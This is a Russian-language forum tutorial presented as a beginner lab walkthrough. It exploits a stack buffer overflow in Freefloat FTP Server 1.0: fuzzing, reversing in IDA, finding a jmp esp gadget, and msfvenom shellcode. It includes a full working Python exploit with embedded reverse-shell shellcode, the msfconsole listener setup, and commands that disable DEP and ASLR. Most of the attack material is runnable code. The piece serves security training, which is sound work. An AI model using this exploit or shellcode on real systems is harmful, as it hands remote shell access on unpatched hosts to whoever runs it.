Ку, киберрекруты. Сегодня в планах полный цикл PWN'а (или пывна) бинарного файла для Windows: начнём с фаззинга, далее перейдём к реверсу и, конечно, в конце получим шелл. PWN - эксплуатация уязвимостей, что были допущены во время разработки исполняемых файлов. Бинарь называется Freefloat FTP Server 1.0, которую нашел на
Ссылка скрыта от гостей
Для начинающих это то, что надо. Объясняю почему:
- Крайне много информации об этом бинаре можно найти в инете
- Дебаг и написание эксплойта для PEшки
- Навыки работы в
msfconsole
иmsfvenom
- Фаззинг виндового бинаря
Как можно было заметить, что эта пешка прокачает достаточно скиллов. Однако, сначала поговорим о самой проге. Что она идейно из себя представляет, как ей пользоваться и так далее, и тому подобное и так далее. Решил не опираться на другие работы и пройти весь этот путь сам. В данном чтиве будут показаны все мои шаги для пывна этого сервиса.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Freefloat FTP Server используется для загрузки файлов на проводные и беспроводные устройства и управления ими. Не требуется ни пользователь, ни пароль. Просто запустите его, и диск сразу же станет общим. Сам Freefloat FTP можно скачать по ссылке
Ссылка скрыта от гостей
Перед началом, нужно сделать что-то типо лаборатории, которая работает примерно так:
Нарисовал как смог, так что не судите за мои художества. Суть такая. На виртуалке будет стоять винда 7 с Freefloat FTP и программа для отладки. Атаковать его будем с лины (так как у меня хотовая ОС Ubuntu, делать виртуалку нет смысла).
На винде будут стоять проги:
- ImmunityDebbuger
- ASLR отлючалка. Имею ввиду скрипт для отключения ASLR( можно и ее юзануть
Ссылка скрыта от гостей) - DEP отключалка bcdedit.exe (это уже есть в винде)
- Freefloat FTP Server (Win32)
- Библиотека socket
- msfvenom
- msfconsole
msfvenom
, потому что если показывать и объяснять как это с нуля написать - на объяснение потребуется очень много времени. Поэтому написание собственного ReverseShell будет в следующих статьях.Думаю, с виртуалкой не должно возникнуть вопросов, за ислючением сети. Сеть нужно поставить Bridge
Начнем установки прог для винды.
Проги для винды
ImmunityDebbuger
Эта прога стара как мир и есть сильные аналоги - WinDBG или x64dbg, но мне это просто привычней, поэтому буду использовать его. Из его плюсов могу назвать - атач к процессу и его дебаг, также поиск гаджетов. Скачать можно с
Ссылка скрыта от гостей
и тут тоже все без проблем установится.Отключение ASLR и DEP
Для отключения DEP (или NX) нужно использовать
bcdedit.exe
. Она есть во всех виндовсах (от xp и далее). Находится по адресу C:\Windows\System32
. Теперь нужно его запустить командой ниже и Администратором:bcdedit.exe /set {current} nx AlwaysOff
Для отключения ASLR есть два пути:
- Через
Ссылка скрыта от гостей
- Через RegEdit
Рассмотрю второй варик. Для это нужно открыть RegEdit и найти
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\MemoryManagement]
, после чего создать нвое значениеdword "MoveImages"=dword:00000000 (without quote)
и перезагрузиться.Вообще поподробней о ASLR и DEP можно почитать здесь.
Freefloat FTP Server 1.0
Тут так-то вообще ничего сложного. Просто скачиваем бинарь по
Ссылка скрыта от гостей
. Распаковываем и запускаем прогу, которая находится в папке Win32 и результат должен быть примерно такой:Разумеется, где написано IP, будет указан IP этого сервера. Проверим, что он доступен через
cmd.exe
- просто пинганем, и также проверю на лине.На винде все успешно:
Чтобы можно было пропинговать с линуха, в винде необходимо отключить бранмауэер:
Теперь чекаю на лине:
Отлично! Теперь настало время для фаззинга!
Фаззинг
Чтобы опеределить паддинг для переполнения буффера этого бинаря, решил написать фаззер. Это один из основных приниципов киберпанка - Сделай Сам! Буду писать на Python. Конечно, мой скрипт не идеален, но что есть, то есть. Было бы прикольно кста, если в комментах написали бы свою версию фаззера). Определять краши буду по примерно такому поведению:
Так как, мне не известно какое количество мусора нужно подать программе, чтобы она упала, пришлось оптимизировать процесс фаззинга. Если подавать по одному символу, то будет крайне долго и неизвестно сколько ждать. Вся проблема заключается в быстрой мутации данных. Моя мутация данных основана на формулах арифметической прогрессии. Разность арифметической прогрессии является случайной и диапазон этой случайности от 1 до n+1, где n - счетчик цикла (сколько пройдено циклов). Далее для множителя мусора использовал "Формулу n-ого члена арифметической прогрессии":
В этой формуле для мутатора an - множитель для тестовых данных, a1 - является длина тесткейса, d - разность, которая случайная, n - счетчик.
После чего к предыдущим поданным мусором программы, которую фаззим, прибавляю количество символов равных an. Таким образом этот участок кода выглядит так:
Python:
def mutagen(testCase, n):
d = random.randint(1, n+1)
count = len(testCase) + (n-1)*d
for i in range(count):
testCase += "A"
return testCase
В основной части кода самое важное - это сохранять длину тесткейса до модификации и после мадофикации для того, чтобы можно было как можно точнее выяснить количество
мусорных данных. Для сохранения использовал массив под названием
rangeFuzz
:
Python:
rangeFuzz[0] = len(junk)
junk = mutagen(junk, n)
rangeFuzz[1] = len(junk)
sock.recv(1024)
sock.send(junk.encode() + b'\r\n')
print("[+] len: ", len(junk))
print("[+] junk: ", junk)
n+=1
Все это дело запихнул в цикл
while(1)
и он остановится только если не будет соединения с сервером. На этом первая часть фаззера закончилась.Вторая часть фаззера выглядит намного проще. Так как, программа упала, а нам необходимо точно выяснить, какой паддинг, пришлось замораживать скрипт на 5 секунд и в этот промежуток времени нужно перезапускать прогу.
Дальше все похоже, только использую цикл
for
, диапазон котрого от rangeFuzz[0]
до rangeFuzz[1]
, остальное все такое же. Таким образом, мой фаззер выглядит так:
Python:
##############################################
# ViciousFuzzer.py #
# by AFANX #
##############################################
import socket
import random
import time
def mutagen(testCase, n):
d = random.randint(1, n+1)
count = len(testCase) + (n-1)*d
for i in range(count):
testCase += "A"
return testCase
n = 0
rangeFuzz = []
junk = "A"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(('TARGET',21))
sock.recv(1024)
sock.send(b'USER noname\r\n')
sock.recv(1024)
sock.send(b'PASS noname\r\n')
print("############## PART I ##############")
while(1):
try:
rangeFuzz[0] = len(junk)
junk = mutagen(junk, n)
rangeFuzz[1] = len(junk)
sock.recv(1024)
sock.send(junk.encode() + b'\r\n')
print("[+] len: ", len(junk))
print("[+] junk: ", junk)
n+=1
except:
sock.close()
break
print("############## PART II ##############")
time.sleep(5)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(('TARGET IP',21))
for i in range(rangeFuzz[0],rangeFuzz[1]):
try:
junk = "A" * i
sock.recv(1024)
sock.send(junk.encode() + b'\r\n')
print("[+] len: ", len(junk))
print("[+] junk: ", junk)
except:
sock.close()
break
print("\n\n\n#############################")
print("len: ",len(junk))
print("junk: ", junk)
print("#############################")
Перед запуском фаззера необходимо сначала запустить бинарь и после запускаю:
Код:
$ python3 ViciousFuzzer.py
После увидел краш программы на 229 символе. Проверим это запустив прогу в ImmunityDebugger. Однако, перед этим составим скелет для будущего плойта:
Python:
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(('TARGET IP',21))
# sploit goes here
junk = b'A'*222
sock.recv(1024)
sock.send(b'USER noname\r\n')
sock.recv(1024)
sock.send(b'PASS noname\r\n')
sock.recv(1024)
sock.send(junk.encode() + b'\r\n')
sock.close()
В ImmunityDebugger открываю бинарь и нажимаю
F9
, чтобы отпустить процесс и запускаю сплойт:
Код:
$ python3 sploit.py
В результате, регистр EIP равен
0x646F6F74
, и адрес возврата соотвественно изменен тожеСтек теперь такой:
Значит нужно еще добавить 25 символов и можно управлять программой. Проверим это и результат получится следующий:
Отлично! Можно изменять адрес возврата! Теперь, чтобы немного все уложилось в голове, узнаю причину такого поведения с помощью IDA Pro.
Реверс
Программа падает со словами
command not understood
, поэтому первым делом в IDA Pro ищу эту строку:По перекрестным ссылкам нашел уязвимую функцию:
Она сработает при любом ответе сервера. После ее реверса, понял как она работает и из-за чего происходит переполнение буффера. Почему-то IDA не определила функцию
strcpy
, которая на языке ассемблер выглядит примерно так:Суть какая. Есть два массива
buf
и sub_buf
, в которые копируются данные. В первом случае размер равен 4, второй объемом 252. В них записывается ответ сервера.Так как отлючен ASLR и DEP, то можно написать какой-нибудь шеллкод, запихнуть его в стек и запустить. Для того, чтобы перейти в стек, нужно найти гаджет, например,
jmp esp
.В самом бинаре такого гаджета нет, тому подтверждение результат работы программы
ROPGadget
:
Код:
$ ROPgadget --binary FTPServer.exe | grep "jmp esp"
no result
Поэтому буду искать гаджеты используя ImmunityDebbuger. После перезапуска проги нужно нажать на ПКМ и выбрать
Search for -> All Commands in all modules
В окне написать
jmp esp
:Можно увидеть такие результаты:
Это то, что надо. Только, что делать с адресом? Не надо паники, сначала проверим, что у SHELL32.dll отлючен ASLR. Это можно сделать используя скрипт
mona.py
. Скачать можно здесь. Дальше нужно добавить в директориюImmunity Inc/Immunity Debugger/PyCommands
и перезапустить сам отладчик и ввести команду !mona modules
:Результат работы скрипта:
Однако, адрес инструкции
jmp esp
не изменится, поэтому берем этот адрес на вооружение. В моем случае это 0x73806C28
Теперь пора создавать шеллкод.Крафтим шеллкод
Шеллкод представляет из себя reverseshell. Тулза
msfvenom
есть в любой калюхе. Для крафта в msfvenom
необходимо добавить следующие параметры:-a
архитектура-b
для указания плохих символов-f
формат-v
установка имени переменойIP_TO_HOST
адрес того, кто открыл подключениеТаким образом, получится это:
Код:
msfvenom -a x86 –platform windows -p windows/shell_reverse_tcp HOST=IP_TO_HOST LPORT=4444 -b '\x00\x0A\x0D' -v shellcode -f c
и получим примерно следующее:
Код:
Payload size: 351 bytes
Final size of c file: 1512 bytes
unsigned char shellcode[] =
"\xdb\xc1\xbd\x04\x27\x95\xf7\xd9\x74\x24\xf4\x58\x2b\xc9"
"\xb1\x52\x31\x68\x17\x83\xe8\xfc\x03\x6c\x34\x77\x02\x90"
"\xd2\xf5\xed\x68\x23\x9a\x64\x8d\x12\x9a\x13\xc6\x05\x2a"
"\x57\x8a\xa9\xc1\x35\x3e\x39\xa7\x91\x31\x8a\x02\xc4\x7c"
"\x0b\x3e\x34\x1f\x8f\x3d\x69\xff\xae\x8d\x7c\xfe\xf7\xf0"
"\x8d\x52\xaf\x7f\x23\x42\xc4\xca\xf8\xe9\x96\xdb\x78\x0e"
"\x6e\xdd\xa9\x81\xe4\x84\x69\x20\x28\xbd\x23\x3a\x2d\xf8"
"\xfa\xb1\x85\x76\xfd\x13\xd4\x77\x52\x5a\xd8\x85\xaa\x9b"
"\xdf\x75\xd9\xd5\x23\x0b\xda\x22\x59\xd7\x6f\xb0\xf9\x9c"
"\xc8\x1c\xfb\x71\x8e\xd7\xf7\x3e\xc4\xbf\x1b\xc0\x09\xb4"
"\x20\x49\xac\x1a\xa1\x09\x8b\xbe\xe9\xca\xb2\xe7\x57\xbc"
"\xcb\xf7\x37\x61\x6e\x7c\xd5\x76\x03\xdf\xb2\xbb\x2e\xdf"
"\x42\xd4\x39\xac\x70\x7b\x92\x3a\x39\xf4\x3c\xbd\x3e\x2f"
"\xf8\x51\xc1\xd0\xf9\x78\x06\x84\xa9\x12\xaf\xa5\x21\xe2"
"\x50\x70\xe5\xb2\xfe\x2b\x46\x62\xbf\x9b\x2e\x68\x30\xc3"
"\x4f\x93\x9a\x6c\xe5\x6e\x4d\x53\x52\x70\x21\x3b\xa1\x70"
"\x3c\x85\x2c\x96\x54\xe5\x78\x01\xc1\x9c\x20\xd9\x70\x60"
"\xff\xa4\xb3\xea\x0c\x59\x7d\x1b\x78\x49\xea\xeb\x37\x33"
"\xbd\xf4\xed\x5b\x21\x66\x6a\x9b\x2c\x9b\x25\xcc\x79\x6d"
"\x3c\x98\x97\xd4\x96\xbe\x65\x80\xd1\x7a\xb2\x71\xdf\x83"
"\x37\xcd\xfb\x93\x81\xce\x47\xc7\x5d\x99\x11\xb1\x1b\x73"
"\xd0\x6b\xf2\x28\xba\xfb\x83\x02\x7d\x7d\x8c\x4e\x0b\x61"
"\x3d\x27\x4a\x9e\xf2\xaf\x5a\xe7\xee\x4f\xa4\x32\xab\x60"
"\xef\x1e\x9a\xe8\xb6\xcb\x9e\x74\x49\x26\xdc\x80\xca\xc2"
"\x9d\x76\xd2\xa7\x98\x33\x54\x54\xd1\x2c\x31\x5a\x46\x4c"
"\x10";
Пишем эксплойт
В принципе для крафта плойта все есть:
- Переполнение
- Инструкция для прыжка в стек
- Шеллкод
Первая часть плойта классическая. Тут просто подключение:
Код:
import socket
from pwn import *
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(('IP_TARGET',21))
Далее идут две переменные:
Python:
junk = b'A'*251
JMP_ESP = p32(0x73806C28)
Сгенеренный шеллод:
Python:
shell = (b"\xb8\x27\x73\xb0\xc4\xd9\xc9\xd9\x74\x24\xf4\x5b\x29\xc9"
b"\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\x64\x7d\x52\x31\x96"
b"\x69\x10\xba\x66\x6a\x75\x32\x83\x5b\xb5\x20\xc0\xcc\x05"
b"\x22\x84\xe0\xee\x66\x3c\x72\x82\xae\x33\x33\x29\x89\x7a"
b"\xc4\x02\xe9\x1d\x46\x59\x3e\xfd\x77\x92\x33\xfc\xb0\xcf"
b"\xbe\xac\x69\x9b\x6d\x40\x1d\xd1\xad\xeb\x6d\xf7\xb5\x08"
b"\x25\xf6\x94\x9f\x3d\xa1\x36\x1e\x91\xd9\x7e\x38\xf6\xe4"
b"\xc9\xb3\xcc\x93\xcb\x15\x1d\x5b\x67\x58\x91\xae\x79\x9d"
b"\x16\x51\x0c\xd7\x64\xec\x17\x2c\x16\x2a\x9d\xb6\xb0\xb9"
b"\x05\x12\x40\x6d\xd3\xd1\x4e\xda\x97\xbd\x52\xdd\x74\xb6"
b"\x6f\x56\x7b\x18\xe6\x2c\x58\xbc\xa2\xf7\xc1\xe5\x0e\x59"
b"\xfd\xf5\xf0\x06\x5b\x7e\x1c\x52\xd6\xdd\x49\x97\xdb\xdd"
b"\x89\xbf\x6c\xae\xbb\x60\xc7\x38\xf0\xe9\xc1\xbf\xf7\xc3"
b"\xb6\x2f\x06\xec\xc6\x66\xcd\xb8\x96\x10\xe4\xc0\x7c\xe0"
b"\x09\x15\xd2\xb0\xa5\xc6\x93\x60\x06\xb7\x7b\x6a\x89\xe8"
b"\x9c\x95\x43\x81\x37\x6c\x04\x6e\x6f\x6e\x78\x06\x72\x6e"
b"\x91\x8b\xfb\x88\xfb\x23\xaa\x03\x94\xda\xf7\xdf\x05\x22"
b"\x22\x9a\x06\xa8\xc1\x5b\xc8\x59\xaf\x4f\xbd\xa9\xfa\x2d"
b"\x68\xb5\xd0\x59\xf6\x24\xbf\x99\x71\x55\x68\xce\xd6\xab"
b"\x61\x9a\xca\x92\xdb\xb8\x16\x42\x23\x78\xcd\xb7\xaa\x81"
b"\x80\x8c\x88\x91\x5c\x0c\x95\xc5\x30\x5b\x43\xb3\xf6\x35"
b"\x25\x6d\xa1\xea\xef\xf9\x34\xc1\x2f\x7f\x39\x0c\xc6\x9f"
b"\x88\xf9\x9f\xa0\x25\x6e\x28\xd9\x5b\x0e\xd7\x30\xd8\x3e"
b"\x92\x18\x49\xd7\x7b\xc9\xcb\xba\x7b\x24\x0f\xc3\xff\xcc"
b"\xf0\x30\x1f\xa5\xf5\x7d\xa7\x56\x84\xee\x42\x58\x3b\x0e"
b"\x47")
И последний кусок кода, который можно встретить в любом райте по пывну:
Python:
payload = junk + JMP_ESP + (b'\x90'*32) + shell
sock.recv(1024)
sock.send(b'USER noname\r\n')
sock.recv(1024)
sock.send(b'PASS noname\r\n')
sock.recv(1024)
sock.send(payload + b'\r\n')
sock.close()
Таким образом, полный сплойт выглядит так:
Python:
import socket
from pwn import *
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(('192.168.0.179',21))
junk = b'A'*251
JMP_ESP = p32(0x73806C28)
shell = (b"\xb8\x27\x73\xb0\xc4\xd9\xc9\xd9\x74\x24\xf4\x5b\x29\xc9"
b"\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\x64\x7d\x52\x31\x96"
b"\x69\x10\xba\x66\x6a\x75\x32\x83\x5b\xb5\x20\xc0\xcc\x05"
b"\x22\x84\xe0\xee\x66\x3c\x72\x82\xae\x33\x33\x29\x89\x7a"
b"\xc4\x02\xe9\x1d\x46\x59\x3e\xfd\x77\x92\x33\xfc\xb0\xcf"
b"\xbe\xac\x69\x9b\x6d\x40\x1d\xd1\xad\xeb\x6d\xf7\xb5\x08"
b"\x25\xf6\x94\x9f\x3d\xa1\x36\x1e\x91\xd9\x7e\x38\xf6\xe4"
b"\xc9\xb3\xcc\x93\xcb\x15\x1d\x5b\x67\x58\x91\xae\x79\x9d"
b"\x16\x51\x0c\xd7\x64\xec\x17\x2c\x16\x2a\x9d\xb6\xb0\xb9"
b"\x05\x12\x40\x6d\xd3\xd1\x4e\xda\x97\xbd\x52\xdd\x74\xb6"
b"\x6f\x56\x7b\x18\xe6\x2c\x58\xbc\xa2\xf7\xc1\xe5\x0e\x59"
b"\xfd\xf5\xf0\x06\x5b\x7e\x1c\x52\xd6\xdd\x49\x97\xdb\xdd"
b"\x89\xbf\x6c\xae\xbb\x60\xc7\x38\xf0\xe9\xc1\xbf\xf7\xc3"
b"\xb6\x2f\x06\xec\xc6\x66\xcd\xb8\x96\x10\xe4\xc0\x7c\xe0"
b"\x09\x15\xd2\xb0\xa5\xc6\x93\x60\x06\xb7\x7b\x6a\x89\xe8"
b"\x9c\x95\x43\x81\x37\x6c\x04\x6e\x6f\x6e\x78\x06\x72\x6e"
b"\x91\x8b\xfb\x88\xfb\x23\xaa\x03\x94\xda\xf7\xdf\x05\x22"
b"\x22\x9a\x06\xa8\xc1\x5b\xc8\x59\xaf\x4f\xbd\xa9\xfa\x2d"
b"\x68\xb5\xd0\x59\xf6\x24\xbf\x99\x71\x55\x68\xce\xd6\xab"
b"\x61\x9a\xca\x92\xdb\xb8\x16\x42\x23\x78\xcd\xb7\xaa\x81"
b"\x80\x8c\x88\x91\x5c\x0c\x95\xc5\x30\x5b\x43\xb3\xf6\x35"
b"\x25\x6d\xa1\xea\xef\xf9\x34\xc1\x2f\x7f\x39\x0c\xc6\x9f"
b"\x88\xf9\x9f\xa0\x25\x6e\x28\xd9\x5b\x0e\xd7\x30\xd8\x3e"
b"\x92\x18\x49\xd7\x7b\xc9\xcb\xba\x7b\x24\x0f\xc3\xff\xcc"
b"\xf0\x30\x1f\xa5\xf5\x7d\xa7\x56\x84\xee\x42\x58\x3b\x0e"
b"\x47")
payload = junk + JMP_ESP + (b'\x90'*32) + shell
sock.recv(1024)
sock.send(b'USER noname\r\n')
sock.recv(1024)
sock.send(b'PASS noname\r\n')
sock.recv(1024)
sock.send(payload + b'\r\n')
sock.close()
Перед тем, как запускать этот эксплойт, нужно настроить
msfconsole
.Запуск
В командной строке прописываем
sudo msfdb init
для создания и инициализирования базы данных msf
Запускаю
msfconsole
прописав аналогичную команду в консоли. После прогрузки, нужно запустить handler
. Эта прога будет ждать соединения от нашего таргета. Для это пишем use exploit/multi/handler
. Далее сообщаем, что будет запущен эксплойт с реверсшеллом set payload windows/shell_reverse_tcp
. Устанавливаем IP, к которому будет подключаться жертва set LHOST IP_TO_HOST
и запускаем введя команду exploit
:Для отладки, в Immunity Debbuger сделаю точку останова по адресу
0x402EB1
. Фактически, это конец уязвимой функции:В отладчике жмякую
Ctrl+G
вбиваю адрес и отпускаю процесс нажав на F9
, после чего запускаю сплойт. Только следует учитывать факт того, что отправляю не один запрос, а три, поэтому нужно жмякать F9
пока стек не достигнет вот такого состояния:Доходим до этого
И попадаем на инстркцию
JMP ESP
:После чего попадаем в стек. Первый скрин показывает, что находится на стеке
Второй, что мы видим из инструкций внутри стека:
Собтсвенно чтд, мы в стеке. Дальше просто отпущю процесс и буду ждать реакцию в
msf
. Она должна быть примерно такой:Для того, чтобы доказать, что запывнил - на рабочем столе сделал файл
flag.txt
и вот, что в нем:
Последнее редактирование модератором: